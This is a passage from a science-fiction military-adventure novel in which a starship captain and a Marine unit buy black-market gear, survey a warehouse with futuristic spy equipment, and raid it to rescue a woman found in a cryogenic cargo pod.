lab.¡± ¡°So, who¡¯s the guy that did all of this? Who disobeyed a direct order? Well, that¡¯s this dumb jackass right here. So the big brass boot comes down on me. I¡¯ve got eighteen years of solid service for the government, and I call in every favor I can to keep it from a dishonorable discharge. In the end though, that¡¯s not enough. I¡¯m out with my dick in the wind.¡± ¡°Anyway,¡± he says, holding his glass out for the bartender to refill it with another shot. ¡°The men didn¡¯t forget that I charged in to help them, and I formed my own private Marine escort service to the outer planets. Can¡¯t get a job in any of the inner planets, goddamn prima donnas everywhere won¡¯t let someone with my service record get a job. Several of the men who leave service get a notice about my crew, and they join up. I¡¯m not the brightest bulb, but if you need a guy who can stomp a mud hole in someone¡¯s ass, I¡¯m the guy you call.¡± This confirmed what Mark had read in the personnel file. In general, Marines came in one of two types. They were either smart, or they were strong. This one was strong. ¡°Well, your record in and out of service speaks as a testament. But if I give an order, you follow it immediately. I can¡¯t have a renegade aboard my crew.¡± The bulky man lets out a mirthless laugh. ¡°Yeah, I know. The military always tells us, ¡®Don¡¯t go doggone thinking for yourself,¡¯ and I went and did it. Paid the price. I learned my lesson. I¡¯m here to follow orders and complete the mission, if the service will have this old dog back in again. But the offer you gave me applies to my men as well. Any discharged for other than honorable reasons need to receive a reversal to that decision. Don¡¯t worry, I don¡¯t accept shit bags, anyone on my team is solid, but the military gears grind people up and spit them out. Most that washout aren¡¯t worth a drop of piss, but occasionally, the big bureaucracy fucks up royally. You good with that?¡± Mark nodded. He respected the man for thinking about his men first, an admirable trait for a military leader, but a fatal one if it lead to insubordination. Still, he wasn¡¯t likely to find two squadrons of Marines lying around somewhere else, and he wouldn¡¯t have this big a carrot to dangle over their heads. Besides being a point of honor, honorably discharged service members received a slew of benefits ranging from their burial services to medical costs to discounted loans for starting up their own business. ¡°Well 1SG, effective immediately, you are reinstated for duty. Get your men together and report at shuttle bay Indigo for briefing and training.¡± ¡°Uh sir,¡± the newly minted Marine said, slightly embarrassed, ¡°It¡¯s illegal to report for duty while intoxicated. Permission to postpone that order until military fitness of unit can be assessed?¡± Mark laughed. ¡°Yes, you have 24 hour leave to get your personnel into a state of readiness.¡± ¡°Out-fucking-standing,¡± the man replied. He looked over to Captain Smith. ¡°Ma¡¯am, pleasure making your acquaintance. I assure you I¡¯ll be dress-right-dress next time you see me.¡± Mark left the gyrating dance floor and headed back to his ship, when a ping alert went off on his data pad. The alert told him that one of the cargo containers he¡¯d dropped off was sitting on this very planet. Scramble Mark went back into the Hot Birds Bar and grabbed the gigantic Vidal. ¡°Emergency situation,¡± Mark told Vidal, who was clearly startled to see the Captain after just watching him leave. ¡°Get outside now.¡± To his credit, the big man immediately followed Mark outside. When they were a few yards away from the establishment, Vidal raised his hand. ¡°Hold on one second people.¡± He then proceeded to jam two fingers down his throat and vomit up the alcohol that settled in his stomach. ¡°Much better, proceed,¡± he said, wiping his mouth. ¡°Can we move a bit away from this area?¡± Luciana asked. Mark agreed with her assessment. The sickly smell of expelled alcohol made the conversation difficult. They walked further away from the club and huddled together. ¡°Okay, here¡¯s the situation first sergeant. We set up trackers on a set of illegal cargo. We have no idea what is in the packages. One of them ended up on this planet.¡± ¡°That¡¯s easy,¡± the sobering first sergeant replied, ¡°Just confiscate the police on the planet. You have military jurisdiction, pull rank and get back up.¡± Mark shook his head. ¡°No. We don¡¯t know if the planet¡¯s government has been compromised. You¡¯ll get a full briefing later, but let¡¯s say for now, we don¡¯t know who we can trust and who our friends are. Bringing in the government could alert the people we¡¯re tracking and then we¡¯d be back at square one.¡± ¡°Okay,¡± Vidal said, spitting out some of left over residue from his mouth, ¡°But the pencil necks are going to find out if this is a hot operation. You¡¯ll need some cover story for this.¡± ¡°I know,¡± Mark replied, ¡°Here¡¯s the deal. Do you know anyone who traffics in either illegal drugs or gun running?¡± Vidal snorted. ¡°Out here? Plenty of people.¡± ¡°Great. Get as many of your men assembled as you can on short notice. Vouch for me with your contacts and I¡¯ll make some purchases that will put you in their eternal good graces.¡± ¡°Yes sir, I¡¯m on it.¡± He pulled out his data pad and began making the necessary arrangements. The black market markup plus short notice meant that Mark paid a huge markup for the guns and gear, but he needed whatever he could get. Captain Smith marshaled the Marines from their squadrons across the planet. They split up to pick up the gear. Mark¡¯s team went to a drop to pick up the drugs. It was surprisingly uneventful. Luciana¡¯s run went a little different. They went into a defunct underpass, a place where railroads ran at some point, but the shifting urban sprawl made the underground line useless. You could hail a high-speed hyper loop train there if you really wanted, but it was an on demand process. The odds of anyone showing up randomly to the spot was virtually none. The gun runner kept his supplies in a portable mobile unit that resembled a large square truck. The runner stepped out with four goons, all of them pointing automatic rifles at Luciana. Her men stepped in behind her with their handguns outstretched to meet the men. She had ten men to their five. ¡°I don¡¯t know you,¡± the runner said. He was a young man, maybe twenty-five. He had spiked blond hair, a few metal chains dangled from his neck above his buttoned down shirt. He was maybe 165 lbs. ¡°But I see a new face and I get nervous.¡± ¡°Put the guns down,¡± Luciana replied, ¡°We have your money and we were vouched for, that¡¯s all you should care about. We have you outnumbered and this won¡¯t go down well if this turns into a firefight.¡± ¡°Ah,¡± the gunrunner replied, ¡°The vouching could be done under duress. I don¡¯t know that our mutual friend hasn¡¯t been compromised. As for the other part, well, we have machine guns, you have pop guns. One of us can wipe out your entire crew in a single spray, much less all of us.¡± ¡°My people,¡± Luciana replied with a grin, ¡°are far better shots than yours. If they open fire, your men won¡¯t have time to squeeze the trigger before you¡¯re all dead. How about this? I¡¯ll come over to your side with the credit transfer.¡± She waved her data pad at him. ¡°You verify the transaction and we both walk away alive and happy.¡± He nodded her over and she walked slowly towards him, data pad up. The distance was only about ten yards, a mistake on his part, she thought. She¡¯d have used the superior rifle distance to make him cross a region further than a pistol could accurately shoot, negated their advantage. She was always happy to take an idiotic opponent over a smart one, any day. She walked up to him and put it directly into his hands. As soon as he grasped it, she kneed him in the groin and pulled out both of her vibroblades. The advantage of fighting against civilians is that they often didn¡¯t understand coordinated tactics. Each of the four goons stood close to their boss. At distance, this wouldn¡¯t be a problem. But close-range, a rifles is not a good weapon. It¡¯s penetrative power is too immense, there¡¯s no way to shoot someone next to you without the bullet killing your companions nearby as well. Hence the reason trench warfare used the old fixed bayonet methods. A military group would have spread out as she approached and made sure that they had overlapping fields of fire that would prevent them from shooting each other and leave themselves covered if she made a move. But these clown were bunched up together, getting in each other¡¯s way. She spun and slashed off the rifle barrels, a pirouetting bladed dance of destruction. She didn¡¯t intend to kill the gun runners, as that would lead to an investigation and possibly a trail back to her and the crew, but she did want to make sure that they took the hint not to mess with her and her crew. Most of the goons didn¡¯t have any real combat training, they just stood by dumbly, watching their barrels fall off as she sliced through them. Their paralysis wasn¡¯t helped by ten charging Marines who crossed the ten meter gap in under three seconds, slamming into the gunrunners. The thunderclap sound of flesh on flesh contact at high velocities echoed in the confined underground passage. Only of them did clearly have some combat training, as he immediately dropped his rifle, put his back against the wall to keep himself from being surrounded, and made a handgun pull from his holster. He was also kind of cute, but Luciana didn¡¯t let that distract her from throwing a vicious shin kick into his thigh to knock him off balance. He had enough presence of mind to not attempt a full draw on the handgun and went for a hip shot at her. She raked her vibroblade across his forehead brow, drawing blood into his eyes. He didn¡¯t attempt the blind shot, impressing Luciana with the man¡¯s trigger guard safety, but she finished up her assault by kneeing the man in the chin. The concussive blow knocked him out, leaving him slumped against the ground. She turned around and saw her Marines had easily subdued the other runners at close quarters and were working in teams. One Marine held a person down, the other one patted down and searched for weapons. It made her proud. ¡°Well¡±, she said, turning her gaze onto the initial gun runner. ¡°You¡¯re giving us a massive discount. I¡¯m still going to pay you for the weapons, but it will be at manufacturer cost prices. I could just take them and kill you here, so be grateful I¡¯m feeling benevolent. If you or any of your clowns had hurt one of my people, you wouldn¡¯t be getting this generous offer. Agree?¡± The man didn¡¯t respond initially, but one of her Marines drove his knee directly into the gun runner¡¯s kidney. He let out a very weak ¡°Yes¡± sound as his response. ¡°And you,¡± she said, turning to the young man she¡¯d kneed in the face a few moment ago, ¡°How¡¯d you like to work a real job?¡± Mark made a few more stops, these to legitimate businesses that sold electronic surveillance equipment and rental vehicles. On board the ship, he had a vast set of passive and active scanners that made monitoring his ship and the space outside of it very easy. On the ground, however, he had nothing. His first purchase was two dozen insect drone spies, a set of small, low-powered drones that looked like insects and could be used as an advance scouting unit. They were specifically designed to keep from registering on most tactical surveillance gear, but if someone had the money to afford high-end equipment, they would still show up. It was a tactical gamble, but the small chance of the tiny drones being spotted versus the high odds of a human being spotted made the gamble worthwhile. His second purchase was one hundred hyperspectral video contacts powered by body heat, used to coordinate field movements similar to their combat helmets mounted sensors. They required a separate computer to operate, unlike the built-in computers that came with tactical gear, but EVE could handle any extrasensory coordination. The same was true of his Sound Detector, a sweeping 360 degree rotating device that alerted him if anyone started approaching his position. He rounded the list of offensive gear off with a small Terahertz Radar, used to see through walls and into other objects. The device could only penetrate 200 yards, but if he was assaulting a building, that would probably be enough to get good reconnaissance information. He next had to think about any other possible contingencies that might arise. For every offensive piece of spy gear that he had, the enemy could just as easily have. They might even have better equipment, since everything he had needed to be portable, while a defensive position could afford far larger gear that required a large power supply and mounting. He purchased ten passive electromagnetic sensor array goggles, useful for spotting any electronic spies being used against him. He added a tactical chem-sniffer to the list, useful for detecting explosive residue, chemical warfare residue, biohazards, and a whole host of other undesirables. He also bought several sets of webbing gear, used to hold all of the equipment on him in place while he moved about freely with his hands. He next had to worry about anyone directly targeting him, so he added an Electronic Support Measures system to the list. If it was a laser-guided sniper, it gave him a second of warning. If it was a laser-guided missile, well, his odds weren¡¯t great in any case if that happened. He also picked up a dozen memory-metal lock picks with internal imaging/ultrasound radars and contact mikes. The lock picks would take a snapshot of the lock, then reconfigure themselves until they matched the lock. This avoided triggering any potential anti-lock measures. These were only for military or police use, so Mark had to give his thumbprint for authorization. His next stop was to get vehicles. He decided that for himself, he would get a black dynamic van, and he added a programmable display, gps display with 3d navigation, infrared surveillance camera, tactical personal computer, laser targeting system, cell radio, biometric locks, and crash webs. His favorite part though was the automatic camouflage system that allowed the vehicle to blend into any location and actively dispersed any attempts at radar or sonic identification. The kicker was for his ground crew, four tactical wheeled ATVs with life support, 3d navigation, personal computer, cell radio, biometric locks, three workstation terminals, auxiliary solar panels, independent electric motors for each self-inflating wheel set, and the ability for limited operations in water. It could also take a full rocket blast and not be fazed, the part that would probably impress the marines more than the esoteric benefits of the massive vehicles. Luciana met him at the vehicle fleet warehouse, each of her Marines casually holding duffel bags stocked full of weapons. ¡°Did you maybe go a little overboard?¡± he asked her when he saw each of the heavy bags being thrown into the back of the ATVs. ¡°Couldn¡¯t help myself,¡± she said, ¡°They were practically a steal at the price we got them.¡± The coordinated navigation system allowed them to leave separately and take different routes to get to their objective, useful if they were being tailed. His own vehicle felt like a soccer mom van after seeing the ten-person carrier monster ATVs leave the station, but he needed the van for all of the surveillance equipment. He only took one Marine with him, PFC Christopher Preuss, a tightly muscled young man known as the FNG, or Fucking New Guy, aboard his crew. Without his cybernetic enhancement, Mark wouldn¡¯t be able to operate all of the gear. Someone who wasn¡¯t green would probably pick up on that, but privates learned quickly to keep their heads down and their mouths shut when they were around higher rank, and that¡¯s what Mark needed. The vehicle drove itself along the route that Mark programmed into it, but it still had manual controls if he needed to take over for any reason. He sat in the front while Mark sat in the back with the gear. ¡°Your job is pretty simple Private,¡± he told Christopher. ¡°The computer should handle all of the requests for information, but the bugs have to be manually placed. Stay here and position them remotely while I set up all of the other sensor equipment. Get in the front seat and keep everything running so if I have to make a hot exfiltration, we¡¯re not left sitting idle while getting shot at.¡± ¡°Understood sir,¡± Christoper replied. The rendezvous point was in an isolated industrial area, far away from the main shuttle areas. The Marines were all spaced out in a four corners arrangement, about a quarter mile away from the area where they were getting the ping for the cargo container. The idea was to have them close enough that they could chase if any vehicle attempted to escape, or if he got spotted and needed some immediate backup. This story has been unlawfully obtained without the author''s consent. Report any appearances on Amazon. Mark¡¯s vehicle was only two hundred yards away from the source, hoping that the vehicle¡¯s stealth capabilities would keep them off the map. He didn¡¯t like not having a weapon on him, but the amount of equipment he took with him already weighed him down too much, and he didn¡¯t want to get into a firefight. He was a space jockey after all, the Marines were the ones who did the fighting. He exited out the van after sweeping the area for any surveillance equipment. Not finding any, he moved from shadow to shadow, getting a good look at the target. The warehouse was a few thousand square feet and four stories high, it looked like it might be a place for manufacturing ship parts. He did see his first sign that something was not entirely right about the area, as two guards patrolled on top of the roof. There may be more up there, but trying to scope out a rooftop from the ground level was a losing proposition. He started the surveillance operation by putting the sonar detector on the ground. The last thing he wanted was someone walking up to him while he was busy spying on the warehouse. Then he snapped his sensor array goggles up to his face to see if there were any electronic surveillance equipment being pointed at him. He did spot a set of sonic pads forming a fifty foot parameter around the outer area, meaning anyone who stepped near there would instantly alert everyone inside. Thermal and infrared cameras also patrolled the area, some mounted stationary at the most likely entry points while others swiveled to provide cover for anyone approaching. He then used his chemsniffer, a small handheld device that you placed near the ground to pick up scents nearby. As soon as he put it near the ground, it sent out an immediate alert he didn¡¯t like. Chemical and explosive ordinance detected. Chemical ordinance believed to be accelerants, used for quickly starting and spreading a fire. Explosive ordinance identified as c4. ¡°EVE,¡± he thought, ¡°Send out a notification to all Marine units that we have chemical and explosive elements inside. Also alert them to the sensor equipment. Breaching the building is a last resort. With explosives inside, they might wipe out the whole team.¡± Part of the reason Mark didn¡¯t want anyone with him on his recon mission was he could communicate via EVE without talking, which would be hard to explain to anyone next to him. He used the terahertz radar next, sweeping the rooftops and working his way down. The range was decidedly more limited than the marketing advertised, but that could be the result of reinforced walls. The roof had four people on patrol, with what looked like sniper rifles in their hands. They were fortunately not very diligent, a common problem in every military patrol that¡¯s ever existed. Guard work is boring work. ¡°Okay Chris,¡± he thought, ¡°deploy five of the bugs on the roof to track the location of the rooftop snipers. See how often they check in, and put one near any entrance someone might use. We want to see if the same guards stay there or if there¡¯s a changing of the guard.¡± Typical military tactics were to change the guard in regular intervals, so as to keep fresh eyes on the watch and prevent people from falling asleep while on duty. If they were really lucky, this would be amateur hour. The guards would be playing music and they wouldn¡¯t check in regularly. Unfortunately, Mark didn¡¯t think that these guys were amateurs. Still, he could always hope. ¡°Marine units, advance forward. Leave a reserve squad in case they attempt an escape at your exfil point, but do not engage.¡± His tactical contact showed his teams moving out, silenced weapons at the ready. EVE overlay a 3d map in his contact to show everyone¡¯s location. He normally couldn¡¯t keep track of all the data going through him, but with EVE acting as an information buffer, he absorbed all the information naturally. Chris put the bugs on the guards, crawling up the rooftop slowly and then onto the guards legs when they weren¡¯t looking. Securely fastened, Mark gave his next order. ¡°Get the bugs inside the warehouse. I can¡¯t see too far inside, but there is a guard station at the main entrance. Try seeing if there are any openings in the windows. If not, use the top floor entrance. They¡¯re almost certainly sweeping for any activity through the main door.¡± Chris followed the order and Mark remembered why he hated doing stakeouts during his days as a police officer. They were incredibly boring. You waited around for hours to see one person walk into a building or do anything. But he was the only person who could run a stealth mission like this, so he bided his time, waiting for the bug to try all of the top level windows and work its way around. It finally found a microscopic hole in one of the windows and went inside. The windows had pressure and laser sensors on them, so a stealth run through them wasn¡¯t really possible. The inside of the warehouse had several of the containers Mark had dropped off at the main point, but only one was actively pinging him. Either something had happened to the computer systems of those crates, or there were a lot more of these things running around than Mark realized. A dozen armed men surrounded the room, and one of them opened up one of the pods. The crate unsealed and a young woman lay inside. She was in a cryogenic freezing pod, used to transport human colonists to new Worlds. It kept them from using the limited resources available a space carrier. The cryogenic freezer dethawed her, removing her from her temporary stasis. As soon as she came to, she was quickly dragged out and the armed men shouted at her. Mark couldn¡¯t hear what they were saying, as the bugs didn¡¯t have audio capability, but it didn¡¯t look like it was anything good. They pushed her to the back, and started running the same system checks on the other containers. Then, Mark¡¯s Electronic Support Measures hanging on his webbing let out a quick warning. Mark dropped flat on the ground immediately, as a laser blast blew out a chunk of wall near where his head had been. One of the bugs snapped out, then the other three on the roof followed. Mark¡¯s dream of dealing with amateurs died at that moment. They¡¯d been made. ¡°All teams, move up and engage. They have laser sniper rifles, be cautious!¡± Mark low crawled his way across the ground as more superheated blasts took out his cover. One of them blew out the wall directly in front of him, leaving him to scramble backwards away from the blast. Figuring it was time to give up the pretense, he hauled ass towards his vehicle. Then, he abruptly switched directions as another laser blast went off near him. His vehicle couldn¡¯t absorb a direct blast the way the Marines vehicles could, which meant running back to his vehicle would just get himself and Chris killed. Time slowed down for Mark, and he recognized it as EVE putting his body into overdrive. He knew he¡¯d pay a price for this in a minute, but for right now, slowing down time gave him a precious few seconds to see where the laser rifles were pointing and move out of the way as the snipers tried to get their lead timing down with his movements. He knew that he probably looked like a marionette getting blown in the wind they way he jerked about in the street, but that beat the alternative of having a smoldering hole through his body. The Electronic Support kept uselessly informing him that he was about to be shot. He was well aware. A bright flash went off above the roof, sending out white phosphorous light above the snipers. A full materiel release infrared illuminating round was used by soldiers to either paint the battlefield with light, or to mess up targeting sensors. The snipers quit shooting at him as they quickly lost their ability to see. The next thing Mark heard was the ¡°whoomping¡± sound of a series of grenade launchers being shot at the rooftop. With no visible cover, the snipers couldn¡¯t do anything but attempt to jump off the roof. Only one commando braved that idea, the other three went up in red mists as the frag grenades shredded them with fire and shrapnel. Mark was relieved that the ordeal was over, just as the familiar migraine and nosebleed hit him, but then the front door to the complex opened up and the two guards charged out, shooting regular carbine lasers at him. ¡°Give me a fucking break!¡± he thought, as he turned around again and this time headed towards his escape vehicle. The snipers on the roof could get a shot off at the van, but foot soldiers would have a much harder time navigating through the area. Two hundred yards isn¡¯t a long distance, but when the oxygen cost of juking sniper rounds whiel carrying forty pounds of equipment strapped on while operating at superhuman levels took its toll. Mark made a wheezing run at the back of the van as rapid laser fire chased him down the street. EVE helpfully opened up the back door automatically as he dove in. ¡°Fucking drive kid!¡± he yelled, as he pulled himself in the rest of the way into the van. The doors were still open as the two men rounded to where the van was exiting. If he didn¡¯t take those two out, they would hose down the van. Time slowed down again as Mark grabbed the nearest rifle and sat up to return fire. His combat contact zoomed in over the rifle as he aimed down the sights, and let loose a three round burst towards the center mass of his first attacker. The sudden jerks the man made were barely noticed as Mark switched over to the other man, who aimed his rifle up directly at Mark. Mark squeezed the trigger a few milliseconds before the attacker, causing his attacker¡¯s aim to jerk up over the van and shoot into the sky. Before Mark could celebrate his achievements, he fell back into unconsciousness. Luciana charged down the street with her Marines, seeing laser shots blasting off the roof. Right where he tactical contacts told her Mark was. ¡°Light up the roof and follow up with grenades!¡± she shouted into her comms, sprinting even harder. Her team did exactly that, illuminating the sky like a pyrotechnic display. She knew better than to look up at the blast. If she was in tactical gear, it would automatically dampen her vision or hearing to keep her from sensory overload damage, but the tactical contacts were far more limited in their use. Almost as soon as the fireworks above ended, two of her people pumped their grenade undercarriages and shot their grenades onto the roof. One hero valiantly jumped off the roof, but a four story jump meant he¡¯d be crushed limbs on the ground. Maybe they could interrogate him later. She finally saw the back shuttle bay entrance to the warehouse. Normally, they¡¯d use C4 charges to blow through a door, but they didn¡¯t have any. She could shoot a grenade at it, but that would be iffy at best as an undirected blast dispersed too much energy to effectively knock out a reinforced door. ¡°I need to get into the back shuttle doors, now!¡± ¡°Understood Ma¡¯am,¡± Vidal¡¯s deep voice went over the comms, ¡°Door knocker incoming.¡± He tore up the back roads in a beeline towards the back shuttle entrance. She desperately hoped he was paying attention to his tactical information about troop location. She didn¡¯t want to have to resurrect Marines that died with treadmarks on them. Vidal sat in the driver seat, barreling forward. The automatic driving system wouldn¡¯t do anything that could potentially injure the personnel onboard, so he had to drive it himself. He slammed the massive vehicle right through the bay door. A mixture of cement exploding as well as steel twisting and shearing echoed through the night. Luciana saw laser shots going off in the front of the building, but she couldn¡¯t make it there quickly enough to help out. Vidal backed up from the wreckage. Technically, he should have returned back to his original post to wait for escapees or to capture any hostile reinforcements, but the wide grin on his face told her that he wasn¡¯t going to sit out the action. She lobbed in a flash bang after the wreck, and checked the feed from the remaining bug for the location of the hostiles. It wasn¡¯t as easy to coordinate the movements she needed to make with where the bug was located, but it gave her some idea of how to move forward. She had ten Marines coming up on her rear. Before she could give them any orders, the bug picked up something she hadn¡¯t expected to see. One of the guards pressed a button in his jacket, and all of the containers exploded, then flared with thermite flames. They killed all of the cargo. She wondered why they had a death trap installed in each of the cargo containers, but couldn¡¯t spare a thought for that as she motioned for her Marines to follow her inside. The guards inside were still disoriented, but recovering. They quickly moved inside and shot the first four guards who were nearest the flash bang. ¡°1SG Vidal, move forward with your vehicle and provide us with cover as we take out the rest of the hostiles,¡± she ordered into her comm. Vidal slowly moved the vehicle forward, providing her and her Marines with bullet and laser proof protection as the guards tried shooting around them. But they were no match for a coordinated Marine squadron, as they moved around the vehicles and used suppressing fire to hold down the guards while they moved forward. One of the guards lost his nerve and ran out into the open to avoid the flanking maneuver, and ate three controlled bursts to his midsection for his trouble. The squad maneuvered them behind a single pillar, and then sliced the pie until their bullets pulverized the cowering bodies of the guards. Bullets from both sides of the turkey shoot slammed through the five remaining men. She looked around and spotted a small woman in the corner, huddled up into a tiny ball. She started to walk over towards her when a movement near the front entrance caught her eye. The sniper that jumped off the roof had his side arm out, crawling on one hand with bones jutting out of his legs. He had to be bleeding out quickly, but he was determined to kill the one remaining hostage in the room. His eyes met Luciana¡¯s and she gave a short shake of her head. He pulled himself up on one hand quickly, squeezing off a shot at the prone woman. Luciana raised her rifle and popped him directly through the top of his skull, sending his body crashing to the floor. She looked over to where the woman lay and saw blood. Luciana ran to the downed woman as quickly as possible, checking her for wounds. Fortunately, she¡¯d only been shot in the arm, and the fear must have made her not feel the impact of the bullet. Luciana quickly ran to the ATV vehicle now sitting in the middle of the warehouse and yanked out the emergency medical kit. She put the injected the quickstop biogauze directly into the wound and watched it seal up. She wanted to get answers from the woman about what was going on, but didn¡¯t think that she¡¯d be coherent for a while. ¡°1SG, get this woman into the vehicle, empty out the weapons, and exfiltrate the area. The local law enforcement is probably on the way here. Everyone else, get those weapons unloaded.¡± She went to look inside the crates. Whatever had been inside was so thoroughly disintegrated that there was nothing left. No identifying remains of any person trapped inside there. She shuddered at the thought of a death from which there was no resurrection. Captain Thomas had guessed there would be two things they¡¯d find, either chemicals or weapons. If it was chemicals, they¡¯d confiscate them and plant drugs. Weapons and they¡¯d confiscate them and plant their own, running their own independent investigation without local interference or knowledge. But transported humans wasn¡¯t something she expected to see. She couldn¡¯t figure out what for either. But the warehouse made a better place to plant guns than drugs, so her people planted the weapons and left. She had no idea what had happened to Captain Thomas during the fracas. ¡°Sierra report in,¡± she said over the comms, the codename for the van that Mark ran. ¡°Captain, this is Private Preuss reporting in. The other Captain is down, bleeding pretty heavily from the nose. No signs of visible injuries to him however, a miracle all things considered.¡± ¡°Private, pull up his eyelids and see if they¡¯re blood red.¡± ¡°Roger that, hang on. There¡¯s some blood in them, but the iris still appears to be mostly white.¡± Luciana let out a sigh of relief. He wasn¡¯t wounded the same way he was aboard the ship, but his use of that cyber tech seemed to be a mixed blessing. ¡°Take him back to ship and bring him to the medics. I¡¯ll stay here and wait for the locals. Out.¡± White Lies Mark woke up in the medical bay of his ship again. He opened his eyes and enjoyed the pleasant sensation of being able to see. The migraine headache still pounded on his skull, but at least his vision worked. He went through the now all-too-familiar routine of checking his muscle movements before he sat up. Dr. Katsuo Pakula worked on a young woman that Mark had never seen before. The Doctor was an elderly Japanese man in his late 50s. The woman looked to be Asian as well, late teens to early twenties by the look on her. She didn¡¯t have any special appearance, which was genuinely a sign that someone was a NPC. Player characters generally spent an obscene time obsessing over their avatars look, a few thrill-seekers deliberately played the most fugly character imaginable and cranked up the charisma so they could inexplicably draw all the ladies. Mark wondered if that explained anything in the real World. ¡°EVE, patch me through to look at the rest of the ship,¡± he thought. Mental visual and auditory images swarmed him. The main one with personnel in it was the dinner facility. In it, PFC Christopher Preuss was holding court. ¡°No, it was crazy. I¡¯m telling you, Captain Thomas is a beast. First, he walked off with enough electronics gear to require a squadron, but he handled it all. Infrared, ultra sensory, visuals, he had it all under control. Then when first contact occurred, I can¡¯t describe it. You ever watch those old kung-fu movies where the drunken master fights off people? It looks like they¡¯re crazy, but there¡¯s a method to the madness.¡± ¡°That¡¯s what he did. Snipers at 200 yards, should have been a turkey shoot. But they always just missed him. Then he ran into the back of the van as I was driving off, picked up a gun, and shot two goons in a moving vehicle before either could pull off a shot. He doesn¡¯t look like much, but the dude is hardcore.¡± ¡°Give me Captain Smith any day,¡± SSG Emily Gu?minski said. ¡°Captain Thomas can pull some crazy moves out of his ass when he needs to, but Captain Smith is consistent. She took out an occupying force without suffering any casualties and coordinated all the field troops while in the thick of it. Give me talented over lucky any day.¡± The Marines seemed to be lining up over whether they liked Mom or Dad better. Mark¡¯s build favored support over combat, so he¡¯d left the Marines to Captain Smith¡¯s attention, while he worked with the engineers, turret gunners, and laser targeting units. Still, it was important that the Marines saw him as fit to command, because even a nanosecond of hesitation in combat would be a disaster. He decided that he¡¯d be attending more Marine cross-training sessions in the future. ¡°Hey doc,¡± he said, sitting up. Dr. Pakula turned around. ¡°Yes?¡± ¡°Who is that woman and what is her condition?¡± ¡°Well,¡± the doctor let out a long sigh, ¡°Her condition physically is fine. She suffered lacerations, skin abrasions, and contusions, but those are repaired easily enough. It¡¯s her mental condition that has us worried.¡± ¡°Mental condition?¡± Mark asked. He didn¡¯t want to imagine why people were being shipped around in unregistered containers, but couldn¡¯t conceive of any reason that wasn¡¯t horrific. ¡°Yes. Schizophrenia maybe, but clear signs of psychotic delusions. I¡¯m a field and trauma medic, not a psychologist. I¡¯d recommend getting her checked out in the Gebo medical facilities, I¡¯m trained for physical, not psychological injuries.¡± ¡°What sort of delusions does she have?¡± Mark asked. This was the worst case scenario for him. He¡¯d done an entire series of missions hoping that this woman would have the answers he needed, and if she was out of her mind, the whole operation was a colossal failure. He tried to cheer himself up by remembering that the other containers were still out there, and that he now had a full Marine platoon element to back him up. Still, that left a sour taste in his mouth. He was going to ask about the rest of the containers he¡¯d seen, but EVE quickly supplied him with that information. A boondoggle of an operation then. He¡¯d been out for a full day, which was why he didn¡¯t feel the awful effects that he had the first time. Dr. Pakula gave a slight shrug. ¡°I¡¯ll let you talk to her after I wake her back up. We¡¯ve given her some sedatives to help her sleep and anti-anxiety medications to take the edge off her stress. I¡¯m hoping that with that in her system, she¡¯ll be coherent. When the Marines placed her aboard the ship, she was speaking in rapid logorrhea.¡± Mark was going to ask the doctor what that meant and EVE supplied in the information, ¡°He means that she was babbling incoherently and rapidly.¡± ¡°So we scanned her brain for signs of damage in the thalamus,¡± the doctor continued, ¡°but no signs that she has any brain damage. Which again means it¡¯s an issue I¡¯m not suited for.¡± Mark understood the underlying subtext of what the doctor was saying. Essentially, ¡°anything wrong with her isn¡¯t my fault.¡± ¡°I got it Doc,¡± he said, ¡°I¡¯d like a chance to talk to her alone as soon as I get through talking to the crew. She¡¯s our only injury? No casualties?¡± He already knew the answer, but if he didn¡¯t ask the doctor, he¡¯d seem like a supreme asshole. The doctor shook his head. ¡°No, Captain Smith lead the assault and only very minor injuries in the operation, certainly nothing a Marine would go whining to a doctor about.¡± ¡°You¡¯ve done some fine work doc,¡± Mark said, patting the man on the shoulder, ¡°How long until the sedatives wear off on our guest?¡± ¡°Give it an hour,¡± the doctor replied, ¡°She¡¯ll be awake.¡± Mark found Captain Smith in her quarters. He knocked on the door and asked permission to enter. She granted it and slid the door open. ¡°How are you?¡± he asked as he walked into the room. ¡°Confused,¡± She said, with a weak smile. ¡°On the one hand, we stopped a bunch of bastards from doing¡­ something, I don¡¯t know what. But on the other hand, we also lost all of the people that were in those containers minus one. But, she¡¯s incoherent. Maybe they tortured those people and that¡¯s why she¡¯s so distraught? So the only solace from that thought is maybe we saved those people who died from a worse fate. Still not a comforting thought.¡± ¡°I understand it¡¯s rough,¡± Mark replied, ¡° But we at least stopped one group of assholes. We still have other trackers out there. We¡¯ll find these sons of bitches and put them on trial.¡± ¡°You didn¡¯t see them,¡± she said, ¡°but I highly doubt that any of them are going out alive. Whatever they¡¯re up to, they are clearly under strict orders not to be captured alive, and to take any cargo out with them. It¡¯s¡­ fanatical. Maybe this is some new cult set up on one of the planets? But that¡¯s not all that¡¯s bugging me. Permission to speak freely?¡± He shrugged. ¡°It¡¯s just us Captain, say what you want to say.¡± ¡°Well,¡± she began, ¡°You didn¡¯t come up the ranks like the rest of us. Normally, you get start off with low level ship details, like flying perimeter in a small craft, supply drops, or drop and evac missions with Marines. It¡¯s all planetary work for your first few years before they let you go off into space. If you¡¯re not doing ship runs, you¡¯re on the ground doing investigation work. You don¡¯t really get much flight experience except for once a month training really. Makes it hard to move up the ranks when you are only doing maybe two dozen flights total a year.¡± ¡°Anyway, I started off on Earth. On one investigation, we found a dead woman, brain smashed in with an iron. Recently made a three hundred credit transfer, the maximum limit, to someone she had no record of meeting with before that transfer. So we find him, and he¡¯s some eye candy tweaker that¡¯s busy getting high as soon as we make the raid. He goes for a weapon, the same bloody iron cudgel he¡¯d beaten that poor girl to death with, and I light him up. Three-round burst right through the centerline, but he kept moving. So I popped him in the head, and that put him down.¡± ¡°Guys a basic piss stain of a human being, he¡¯d beaten the girl and forced her to give him money. He¡¯d apparently gone berserk when he realized that three hundred credits was all she was able to give him. It¡¯s a righteous kill, but his Mom raised a big fuss about it. ¡®He was such a good boy¡¯, and ¡®There was no need to use a gun to take out a man with a piece of iron¡¯. So we have to show the helm footage, the dead body, and the whole nine yards. Every operation is like that. If there¡¯s any violence at all, anti-police violence groups scrutinize it, the media gets involved, and the whole thing is a circus.¡± ¡°Now we just killed sixteen people back there. No one is claiming the bodies. No one is screaming about abuse of IIO power. No media circus. Everything is just off.¡± Mark thought about it. Could all of those people been players? The game didn¡¯t give players a huge extended family, the average size of an extended family on Earth is about a hundred and fifty people. Because if they did that, then even a few thousand players in a Proxima World would necessitate millions of NPCs by family relation, or else the Proxima Galaxy¡¯s would need to make PCs and NPCs related to each other, so you¡¯d 